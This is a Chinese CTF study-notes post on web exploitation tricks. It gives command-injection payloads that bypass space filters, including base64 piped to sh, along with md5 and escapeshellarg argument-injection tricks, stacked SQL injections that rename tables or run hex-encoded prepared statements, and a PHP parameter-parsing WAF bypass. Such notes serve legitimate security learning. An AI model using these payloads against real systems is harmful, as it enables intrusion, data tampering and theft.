CTF知识点总结(三)

空格绕过方式:

复制代码

IFS {IFS} IFS数字 < <>

三种绕过方式:

1.sh

复制代码

/?ip=127.0.0.1;echoIFS2Y2F0IGZsYWcucGhw|base64IFS2-d|sh

2.变量拼接

复制代码

/?ip=127.0.0.1;a=g;catIFS2fla$a.php

3.内联注释(将反引号命令的结果作为输入来执行命令)

复制代码

/?ip=127.0.0.1;catIFS2`ls`

2 |0 md5()漏洞

​ ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6,

3 |0 escapeshellarg()与escapeshellcmd()漏洞

复制代码

<?php a="172.17.0.2' -v -d a=1"; b=escapeshellarg(a); c=escapeshellcmd(b); echo a."<br/>".b."\
".
c; system($c); ?>

输出

172.17.0.2' -v -d a=1

'172.17.0.2''' -v -d a=1'

'172.17.0.2''' -v -d a=1'

1.$a传入的参数是172.17.0.2' -v -d a=1

2.经过escapeshellargs()处理后成为*'172.17.0.2'' -v -d a=1'* 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd()处理后成为*'172.17.0.2''' -v -d a=1'* 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义

4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。

所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。

这样就能绕过过滤进行注入。

4 |0 sql注入绕过关键字

获取信息

复制代码

show databases; show tables; show columns from `table_name`;

修改表名

复制代码

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#

预编译

复制代码

1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#

另外,新知识,HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

复制代码

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

5 |0 preg_replace/e的命令执行漏洞

6 |0 MYSQL特殊模式(set sql_mode=pipes_as_concat)

​ 此模式下,输出字符串可以进行拼接

7 |0 PHP字符串解析特性(Easy Calc)

​ PHP将查询字符串(在URL或正文中)转换为内部_GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

​ 假如waf不允许num变量传递字母:

复制代码

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话

那么我们可以在num前加个空格:

复制代码

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过

相关推荐
毒果1 分钟前
网络安全全景解析
安全·web安全
云盾安全防护29 分钟前
CC攻击与WAF的对抗战
网络·安全·ddos
还是鼠鼠1 小时前
HTTP 请求协议简单介绍
java·开发语言·网络·网络协议·http
网硕互联的小客服3 小时前
如何在服务器上部署 Python Django 应用
linux·运维·服务器·网络·安全
渗透好难3 小时前
CTF show 数学不及格
安全·系统安全·密码学
百度安全3 小时前
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
安全·百度
像素工坊可视化4 小时前
监控升级:可视化如何让每一个细节 “说话”
运维·人工智能·安全
程序员阿超的博客4 小时前
【安全篇】金刚不坏之身:整合 Spring Security + JWT 实现无状态认证与授权
java·spring boot·安全·spring
好想打kuo碎5 小时前
轻量安全的密码管理工具Vaultwarden
linux·安全·ubuntu
wu~9705 小时前
计算机网络自定向下:第二章复习
服务器·网络·架构